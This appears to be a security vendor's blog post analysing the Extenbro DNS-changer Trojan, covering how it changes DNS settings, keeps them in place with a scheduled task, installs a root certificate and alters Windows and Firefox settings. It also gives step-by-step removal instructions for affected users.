From our viewpoint, this might be like sending in an elephant to save the mosquito, but the threat actors behind this attack have been known to use aggressive tactics in the past. What do they care if they open up your machine to all kinds of threats by disallowing you access to security sites and blocking any existing security software from getting updates? They just want to serve you adware.

Unfortunately, we have seen this kind of behavior before. But since this one uses a few fancy tricks, we’ll give you a quick overview of what it does and how you can get rid of it. For those just looking for a quick fix, there is a removal guide on our forums.

Infection vector

We have noticed the Extenbro Trojan is delivered on systems by a bundler that is detected by Malwarebytes as Trojan.IStartSurf.

DNS-changer

First and foremost, the Trojan changes the DNS settings of the infected system so it won’t be able to reach any security vendors’ sites.

New for this one is that you have to access the Advanced DNS tab to find out that it has added four DNS servers rather than the usual two. Where people might be inclined to change the two that are visible, use the Advanced button and look at the DNS tab: It would cause them to leave the additional two behind.

Task Scheduler

Should you manage to correct the offending DNS servers and reboot the system before taking further measures, you will find that the DNS settings re-appear after a reboot. This is because of a randomly-named Scheduled Task that looks similar to this:

The location of the folder and the switches for the command seem to be fixed, but the folder name and file name are random.

Root certificate

The Trojan also adds a certificate to the set of Windows Root certificates.

Using the method outlined in the blog post Learning PowerShell: some basic commands, I established that the certificate has no “Friendly Name” and is supposedly registered to abose[at]reddit[dot]com.

Disables IPV6

By changing the registry value DisabledComponents under the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\TCPIP6\Parameters and setting the value to “FF”, the Trojan disables IPV6 to force the system to use the new DNS servers.

User.js

The malware also makes a change in the Firefox user.js file and sets the security.enterprise_roots.enabled setting to true, which Configures Firefox to use the Windows Certificate Store where the newly-added root certificate was added.

Removal instructions

Some of the changes that this malware makes could already be in place, if they are the user’s preferred settings. So feel free to skip the steps that you are not comfortable with.

What really needs to be done so you can download a removal tool or update you existing security software is to restore the DNS servers to what they were—or, if you don’t know the previous settings, to something safe. Most ISPs have the preferred DNS servers listed in their installation instructions or on their website. That is the first place to look. If you can’t find them there, you can use the DNS servers provided by OpenDNS. You can find instructions for many Operating Systems on their site.

An extra step needs to be taken when you are in this screen:

Make sure to click on Advanced…and select the DNS tab to find the extra two DNS servers that we mentioned earlier. Remove those before you change the two shown on the screen to your preferred ones.

Now, you should be able to visit security sites again. Follow the remaining instructions below:

  • To get to your security sites, you may need a restart of the browser. Do NOT reboot your system or the DNS servers might be changed for the worse again by the Scheduled Task that belongs to the Trojan. If your existing solution does not pick up on the malware, download  Malwarebytes to your desktop.
  • Double-click mb3-setup-consumer-{version}.exe and follow the prompts to install the program.
  • Then click Finish.
  • Once the program has fully updated, select Scan Now on the Dashboard. Or select the Threat Scan from the Scan menu.
  • If another update of the definitions is available, it will be implemented before the rest of the scanning procedure.
  • When the scan is complete, make sure that All Threats are selected, and click Remove Selected.
  • Restart your computer when prompted to do so.
  • This procedure should take care of the Scheduled Task and the Root certificate.
  • If you want to undo the change that makes FireFox adhere to the Windows certificates, you can open Firefox and type about:config in the address bar. Then read and accept the “risk” and search for security.enterprise_roots.enabled. The default settings is false. You can change the setting by selecting the line and right clicking it to get a menu. Clicking Toggle changes the value back and forth between True and False. Close the about:config tab when you are done.

Should you need further help, feel free to reach out to us on the forums or by contacting our support department.
